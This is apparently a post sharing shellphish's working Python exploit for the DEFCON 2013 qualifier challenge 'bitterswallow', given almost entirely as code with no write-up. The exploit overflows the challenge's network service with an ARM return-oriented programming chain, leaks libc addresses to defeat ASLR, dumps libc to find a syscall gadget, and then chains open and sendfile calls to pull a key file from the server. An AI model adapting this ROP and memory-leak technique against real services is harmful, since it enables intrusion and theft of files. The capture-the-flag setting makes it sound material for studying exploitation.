DEFCON 2013 Quals - bitterswallow

The main contributors in solving this challenge were zardus and me. This is simply a copy of our exploit for bitterswallow. I stumbled upon it while going through some old backups. I did not get around to do a write up back then, and I probably will not do one any time soon, but I hope this interesting anyways :)

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#!/usr/bin/env python
# -*- coding: utf-8 -*-

__author__ = "@caovc @zardus"
__team__ = "shellphish"
__description__ = "defcon quals 2013; bitterswallow"


import sys
import struct
import socket


class Address:
    pop_r1_pc = 0x1e38c
    pop_r3_pc = 0x8df0
    pop_r1_r2_lr = 0x1e370
    pop_r4_r5_r6_r7_fp = 0x1a670
    mov_r0_r2 =  0x1e330
    ldmfd_sp_r11_pc = 0x9ab4


class Gadgets:
    @staticmethod
    def pop_r1_pc(r1=0, pc=0, init=False):
        # pop {r1 pc}
        r = [r1, pc]
        if init:
            r = [Address.pop_r1_pc] + r
        return r

    @staticmethod
    def pop_r3_pc(r3=0, pc=0, init=False):
        # pop {r3 pc}
        r = [r3, pc]
        if init:
            r = [Address.pop_r3_pc] + r
        return r

    @staticmethod
    def pop_r1_r2_lr(lr=0, r1=0, r2=0, init=False):
        """ @garbles: r1 r3
        """
        # pop {r1 r2 lr}
        # mul r3 r2 r0
        # sub r1 r1 r3
        # bx lr
        r = [r1, r2, lr]
        if init:
            r = [Address.pop_r1_r2_lr] + r
        return r

    @staticmethod
    def pop_r4_r5_r6_r7_fp(r4=0, r5=0, r6=0, r7=0, fp=0, init=False):
        """ @requires: lr set properly
        """
        # pop {r4 r5 r6 r7 fp}
        # bx lr
        r = [r4, r5, r6, r7, fp]
        if init:
            r = [Address.pop_r4_r5_r6_r7_fp] + r
        return r

    @staticmethod
    def mov_r0_r2(init=False):
        """ @requires: lr set properly
        """
        # mov r0 r2
        # bx lr
        r = []
        if init:
            r = [Address.mov_r0_r2]
        return r

    @staticmethod
    def ldmfd_sp_r11_pc(r11=0, pc=0, init=False):
        # ldmfd sp!, {r11, pc}
        r = [r11, pc]
        if init:
            r = [Address.ldmfd_sp_r11_pc] + r
        return r


class ROP:
    @property
    def chain(self):
        packed = [struct.pack("<I", i) for i in self._chain]
        return "".join(packed)

    def __init__(self, syscall_addr=0xCAFEBABE):
        self._chain = []
        self._syscall_addr = syscall_addr

    def inf_loop(self):
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.pop_r1_r2_lr + 16,
                                            init=True)
        return self

    def syscall(self, syscall, arg0=0, arg1=0, arg2=0, arg3=0, arg4=0,
                arg5=0, arg6=0, init=False):
        # We actually need to set lr properly first
        if not init:
            self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_r2_lr)

        # Prepare read arguments
        # r0 = arg0
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.ldmfd_sp_r11_pc,
                                            r2=arg0,
                                            init=init)
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.mov_r0_r2)
        self._chain += Gadgets.mov_r0_r2()

        # r2 = arg2
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_r2_lr)
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.ldmfd_sp_r11_pc,
                                            r2=arg2)

        # r1 = arg1
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_pc)
        self._chain += Gadgets.pop_r1_pc(pc=Address.pop_r3_pc,
                                        r1=arg1)

        # r3 = arg3
        self._chain += Gadgets.pop_r3_pc(pc=Address.pop_r4_r5_r6_r7_fp,
                                            r3=arg3)

        # r7 = syscall
        self._chain += Gadgets.pop_r4_r5_r6_r7_fp(r4=arg4, r5=arg5, r6=arg6,
                                                    r7=syscall)

        # syscall magic, assumes register after is lr
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=self._syscall_addr)

        # Jump to next gadget
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.ldmfd_sp_r11_pc)

        return self

    def open(self, filename, mode, init=False):
        return self.syscall(5, filename, mode, init=init)

    def read(self, fd, buf, n, init=False):
        return self.syscall(3, fd, buf, n, init=init)

    def write(self, fd, buf, n, init=False):
        return self.syscall(4, fd, buf, n, init=init)

    def sendfile(self, out_fd, in_fd, offset, count, init=False):
        return self.syscall(0xbb, out_fd, in_fd, offset, count, init=init)

    def exit(self, code, init=False):
        return self.syscall(1, code, init)

    def send(self, fd=0, buf=0, n=0, flags=0, init=False):
        # r0 = fd
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.ldmfd_sp_r11_pc,
                                            r2=fd,
                                            init=init)
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.mov_r0_r2)
        self._chain += Gadgets.mov_r0_r2()

        # r2 = n
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_r2_lr)
        self._chain += Gadgets.pop_r1_r2_lr(lr=Address.ldmfd_sp_r11_pc,
                                            r2=n)

        # r1 = buf
        self._chain += Gadgets.ldmfd_sp_r11_pc(pc=Address.pop_r1_pc)
        self._chain += Gadgets.pop_r1_pc(pc=Address.pop_r3_pc,
                                         r1=buf)

        # r3 = flags and change pc to send trampoline
        self._chain += Gadgets.pop_r3_pc(pc=0x8d34,
                                         r3=flags)

        return self


if __name__ == "__main__":
    from argparse import ArgumentParser
    parser = ArgumentParser()
    parser.add_argument("-f", "--filename", default="key")
    parser.add_argument("-n", "--bytes", default=100, type=int)
    parser.add_argument("--host", default="bitterswallow.shallweplayaga.me")
    parser.add_argument("--port", default=6492, type=int)
    parser.add_argument("--hash", default=11, type=int)
    args = parser.parse_args()

    pre = 1092
    bss = 0x27000
    fd_next, fd_out = 3, 4

    def rop(chain, input="", recv=0):
        sock = socket.socket()
        sock.connect((args.host, args.port))
        sock.recv(len("Welcome to the sums.\n"))
        sock.recv(len("Are you ready? (y/n): "))

        # Prepare exploit
        initial = "y\x32\x04\x00" + struct.pack("<I", args.hash) + "y\x1a"
        sock.send(initial)

        expected = struct.unpack("<H", sock.recv(64)[60:62])[0]
        assert (1500 <= expected <= 4000)
        sock.recv(len("Would you like to sum another\? \(y/n\): "))

        # ROP ROP ROP
        post = expected - pre - len(chain)
        chain = "{}{}{}".format("A" * pre, chain, "B" * post)
        sock.send(chain)

        # Exit and trigger ROP
        sock.recv(len("Would you like to sum another\? \(y/n\): "))
        sock.send("n")

        # Pass output
        sock.send(input)
        out = sock.recv(recv)

        sock.close()
        return out

    # Find libc offset from the import table (fork = ASLR stays for children)
    print "[*] Let's get ze libc address..."
    libc_send = 0x271c0

    libc = ROP()
    libc.send(4, libc_send, 4, init=True)

    libc_send_addr = struct.unpack("<I", rop(libc.chain, recv=4))[0]
    print "[*] Found libc's send @ 0x{:x}".format(libc_send_addr)

    # Let's search in libc for gadget that worked locally
    print "[*] Looking for chainable syscall gadget"
    syscall_gadget = [0xef000000,   # svc 0
                      0xe1a0700c,   # mov r7, ip
                      0x312fff1e]   # bxcc lr

    libc_content = ROP()
    libc_content.send(4, libc_send_addr, 0xFFFF, init=True)

    libc = rop(libc_content.chain, recv=0xFFFF)
    offset = libc.index("".join(struct.pack("<I", i) for i in syscall_gadget))

    if not offset:
        print "[E] Didn't find the working syscall, different libc version :("
        print "    I dumped libc for you to ./libc_send.dump"
        with open("libc_send.dump", "w") as f:
            f.write(libc)
        sys.exit(1)

    libc_syscall = libc_send_addr + offset
    print "[*] Found syscall @ 0x{:x}".format(libc_syscall)

    # open/read/write to give us the key
    print "[*] ROPing down from da choppah"
    args.filename = args.filename + "\0"

    key = ROP(libc_syscall)
    key.read(fd_out, bss, len(args.filename), init=True)
    key.open(bss, 0)
    key.sendfile(fd_out, fd_next, 0, args.bytes)
    # key.read(fd_next, bss, args.bytes)
    # key.write(fd_out, bss, args.bytes)
    key.exit(0)

    print rop(key.chain, input=args.filename, recv=args.bytes)